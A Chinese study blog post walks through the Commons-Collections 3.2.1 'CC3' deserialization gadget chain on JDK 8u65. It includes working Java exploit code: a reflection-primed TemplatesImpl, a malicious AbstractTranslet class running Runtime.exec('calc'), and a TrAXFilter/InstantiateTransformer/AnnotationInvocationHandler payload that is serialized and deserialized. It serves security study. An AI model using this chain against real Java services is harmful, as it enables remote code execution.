CC3学习记录

🌸 CC3

之前学习到的cc1cc6都是通过Runtime进行命令执行的,如果Runtime被加入黑名单的话,整个链子也就失效了。而cc3则是通过动态类加载机制进行任意代码执行的。

🌸 版本限制

JDK版本:8u65

Commons-Collections版本:3.2.1

🌸 动态类加载机制

之前学习过动态类加载机制:ClassLoader中的loadClass方法负责加载,而loadClass中会通过调用defineClass方法从字节中加载一个类。

ClassLoader.loadClass()->ClassLoader.findClass()->ClassLoader.defineClass()

但是这个过程中只进行类加载,并不会进行初始化,所以我们应该找到初始化的地方。

🌸 CC链分析

通过 defineClass****方法,继续向上找谁调用了 defineClass****方法。

于是我们在com.sun.org.apache.xalan.internal.xsltc.trax中的TemplatesImpl类中的静态类TransletClassLoader中发现了defineClass方法,他是默认的类型,也就是default类型,只能是在他自己的类中使用。

继续Find Usage:

于是我们在defineTransletClasses方法中找到了调用的地方。更完整的代码如下:

private void defineTransletClasses()
    throws TransformerConfigurationException {

    if (_bytecodes == null) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
        throw new TransformerConfigurationException(err.toString());
    }

    TransletClassLoader loader = (TransletClassLoader)
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
            }
        });

    try {
        final int classCount = _bytecodes.length;
        _class = new Class[classCount];

        if (classCount > 1) {
            _auxClasses = new HashMap<>();
        }

        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);
            final Class superClass = _class[i].getSuperclass();

            // Check if this is the main class
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                _transletIndex = i;
            }
            else {
                _auxClasses.put(_class[i].getName(), _class[i]);
            }
        }

        if (_transletIndex < 0) {
            ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }
    catch (ClassFormatError e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
    catch (LinkageError e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
}

接下来分析上面的代码:defineTransletClasses类是private属性修饰的,同时这个代码中有一个if (_bytecodes == null)条件,要想继续向下执行我们的目标代码:_class[i] = loader.defineClass(_bytecodes[i]);肯定是要将这个if条件满足的。

  1. if (_bytecodes == null)条件必须要满足:_bytecodes不为空,不然的话就抛异常了!
  2. return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());这个代码中,有一个_tfactory变量,必须要给他赋值,不然的话就会出现空指针异常了。

继续向上找谁调用了defineTransletClasses方法。

于是我们找到了三个地方!三个方法的具体代码如下:

private synchronized Class[] getTransletClasses() {
    try {
        if (_class == null) defineTransletClasses();
    }
    catch (TransformerConfigurationException e) {
        // Falls through
    }
    return _class;
}

在这个getTransletClasses方法中,同样也是private修饰的。

public synchronized int getTransletIndex() {
    try {
        if (_class == null) defineTransletClasses();
    }
    catch (TransformerConfigurationException e) {
        // Falls through
    }
    return _transletIndex;
}

getTransletIndex方法是public修饰的。

private Translet getTransletInstance()
    throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
        translet.postInitialization();
        translet.setTemplates(this);
        translet.setServicesMechnism(_useServicesMechanism);
        translet.setAllowedProtocols(_accessExternalStylesheet);
        if (_auxClasses != null) {
            translet.setAuxiliaryClasses(_auxClasses);
        }

        return translet;
    }
    catch (InstantiationException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
    catch (IllegalAccessException e) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
        throw new TransformerConfigurationException(err.toString());
    }
}

getTransletInstance方法虽然是private方法修饰的,但是我们找到代码中很重要的初始化过程:AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();这里将加载的class进行了实例化,也就是做了初始化的过程!因为我们就是要执行代码!就是要找到实例化的地方,然而这个方法刚好是满足的!对获取到的_class进行了初始化!这里还是出现了一个条件:if (_name == null) return null;_name变量肯定不能为空!不然 return null****了

继续向上找谁调用了getTransletInstance方法!

于是找到了当前类下面的newTransformer方法中,调用了getTransletInstance方法!在这里我们就找到了一个公开的方法。于是开始尝试利用!

🍂 TemplatesImpl类分析和利用

这里发现该类的构造器是空的!

public TemplatesImpl() { }

同时我们还要满足上面所说的几个条件:

  1. _name不为空,不然的话return null

那就通过反射进行修改:(private属性修饰,所以需要设置可访问)

TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field nameFeild = templatesClass.getDeclaredField("_name");
nameFeild.setAccessible(true);
nameFeild.set(templates,"aaa");
  1. _bytecodes不为空,不然的话就抛异常了!

这里发现_bytecodes变量是一个二维数组!他的具体的值应该是什么,我们跟进到方法里面去细看:

我们这里发现调用的就是loader.defineClass(_bytecodes[i]),继续跟进发现穿进去的其实是byte[] b是一个一维的数组!

那我们就把_bytecodes里面设置为一个一维数组,再包裹一下就好啦。

Field declaredField = templatesClass.getDeclaredField("_bytecodes");
declaredField.setAccessible(true);

byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\Test.class"));
byte[][] codes = {code};
declaredField.set(templates,codes);
  1. _tfactory变量,必须要给他赋值,不然的话就会出现空指针异常。

    private transient TransformerFactoryImpl _tfactory = null;

定位到_tfactory变量的定义地方,发现该变量不仅仅是private,而且还是transient,既然是transient修饰的,那么这个变量是不能序列化的!(在序列化的时候,该变量根本就不会传进去),同时这个变量的类型是TransformerFactoryImpl。直接实例化一个传进去!

//修改_tfactory变量
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

现在写一个Test类,用于加载,并执行代码:

import java.io.IOException;

public class Test {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

但是当我们执行代码的时候,发现报错了!是空指针异常的错误。

调试,尝试找到原因:

下断点在这里,进行调试:

经过不断的调试,发现在如下的代码中出现了空指针异常:

for (int i = 0; i < classCount; i++) {
    _class[i] = loader.defineClass(_bytecodes[i]);
    final Class superClass = _class[i].getSuperclass();

    // Check if this is the main class
    if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
        _transletIndex = i;
    }
    else {
        _auxClasses.put(_class[i].getName(), _class[i]);
    }
}

if (_transletIndex < 0) {
    ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
    throw new TransformerConfigurationException(err.toString());
}

在上述代码中,_auxClasses为空,导致出现了空指针异常。这里有两种方法:

  1. superClass.getName().equals(ABSTRACT_TRANSLET)这个条件为true的话,那就不会进入下面的else,也就不会出现空指针异常啦!
  2. _auxClasses赋值,同样也是不会出现空指针异常!

但是当继续往下看代码的时候,发现其实第二种方式不可取,代码如下:

if (_transletIndex < 0) {
    ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
    throw new TransformerConfigurationException(err.toString());
}

这个代码中通过判断变量_transletIndex是不是小于0,如果是的话,就会报错~ 然而在上面的调试过程图中发现,当执行else的时候,变量_transletIndex就是-1,那么下面的if条件也就满足啦!所以就会报错了。

所以我们只能采用第一种方式,尝试去满足superClass.getName().equals(ABSTRACT_TRANSLET),这样的话成功的进入第一个if条件里面,从而使得_transletIndex = i

跟进到常量ABSTRACT_TRANSLET,发现了他的结果:

private static String ABSTRACT_TRANSLET
        = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

所以我们写的Test类应该要继承上面的这个类!所以重写Test类:

import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Test extends AbstractTranslet{
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

因为AbstractTranslet类是一个抽象的类,所以需要去实现它的方法。

这里再次编译Test.java。再次执行代码:

成功弹出计算器!

🍂 TrAXFilter类分析和利用

由于上面的代码是通过newTransformer方法执行的,所以我们这里尝试继续向上找调用点:

所以我们这里就找到了一个类TrAXFilter,源码如下:

刚好是在TrAXFilter类中的构造器中调用的!但是TrAXFilter类是没有继承Serializable接口,所以是不能够进行序列化的。

但是cc3的作者发现了一个专门可以通过反射类动态创建对象的类InstantiateTransformer,我们查看这个类的构造器等代码:

public InstantiateTransformer(Class[] paramTypes, Object[] args) {
    super();
    iParamTypes = paramTypes;
    iArgs = args;
}

有参的构造器需要传入的是Class数组类型的参数类型,和Object数组类型的参数。然后关注到该类中的transform方法:

public Object transform(Object input) {
    try {
        if (input instanceof Class == false) {
            throw new FunctorException(
                "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                    + (input == null ? "null object" : input.getClass().getName()));
        }
        Constructor con = ((Class) input).getConstructor(iParamTypes);
        return con.newInstance(iArgs);

    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
    } catch (InstantiationException ex) {
        throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
    }
}

在这个代码中:通过反射获取class,然后((Class) input).getConstructor(iParamTypes);获取构造器,并将参数传递进去,然后返回一个Object

因为我们要通过TrAXFilter的构造器来创建TrAXFilter对象,所以iParamTypes就是构造器参数的类型,iArgs就是传进去的参数!而transform方法的Object input就是TrAXFilter.class,用于获取class

因此最终的TrAXFilter类的利用代码如下

package org.y4y17;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

public class cc3 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field nameFeild = templatesClass.getDeclaredField("_name");
        nameFeild.setAccessible(true);
        nameFeild.set(templates,"aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("D:\\tmp\\Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        //修改_tfactory变量
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

//        templates.newTransformer();

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        //下面回去调用transform方法,这里需要传入参数的Object input,这里的input就是TrAXFilter类的对象
        instantiateTransformer.transform(TrAXFilter.class);
    }

}
🍂 CC1+TrAXFilter利用

最终的利用代码:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class cc3 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        TemplatesImpl templates = new TemplatesImpl();
        Class<? extends TemplatesImpl> templatesClass = templates.getClass();
        Field nameFeild = templatesClass.getDeclaredField("_name");
        nameFeild.setAccessible(true);
        nameFeild.set(templates,"aaa");

        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("C:\\tmp\\Test.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        //修改_tfactory变量
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

//        templates.newTransformer();

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
        //下面回去调用transform方法,这里需要传入参数的Object input,这里的input就是TrAXFilter类的对象
//        instantiateTransformer.transform(TrAXFilter.class);

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<String, Object> map = new HashMap<>();

        map.put("value","aaa");
        Map<String,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> anntationInvocationHandlerConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        anntationInvocationHandlerConstructor.setAccessible(true);
        Object o = anntationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
//        serialization(o);
        deserialization();
        
    }
    public static void serialization(Object o) throws IOException {

        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc3.bin"));
        objectOutputStream.writeObject(o);
        objectOutputStream.close();
    }
    public static void deserialization() throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc3.bin"));
        objectInputStream.readObject();
        objectInputStream.close();
    }
}
相关推荐
I_Am_Me_39 分钟前
【JavaEE初阶】线程安全问题
开发语言·python
运维&陈同学1 小时前
【Elasticsearch05】企业级日志分析系统ELK之集群工作原理
运维·开发语言·后端·python·elasticsearch·自动化·jenkins·哈希算法
ZHOUPUYU2 小时前
最新 neo4j 5.26版本下载安装配置步骤【附安装包】
java·后端·jdk·nosql·数据库开发·neo4j·图形数据库
Q_19284999063 小时前
基于Spring Boot的找律师系统
java·spring boot·后端
ZVAyIVqt0UFji4 小时前
go-zero负载均衡实现原理
运维·开发语言·后端·golang·负载均衡
谢家小布柔4 小时前
Git图形界面以及idea中集合Git使用
java·git
loop lee4 小时前
Nginx - 负载均衡及其配置(Balance)
java·开发语言·github
smileSunshineMan4 小时前
vertx idea快速使用
java·ide·intellij-idea·vertx
阿乾之铭4 小时前
IntelliJ IDEA中的语言级别版本与目标字节码版本配置
java·ide·intellij-idea
SomeB1oody4 小时前
【Rust自学】4.1. 所有权:栈内存 vs. 堆内存
开发语言·后端·rust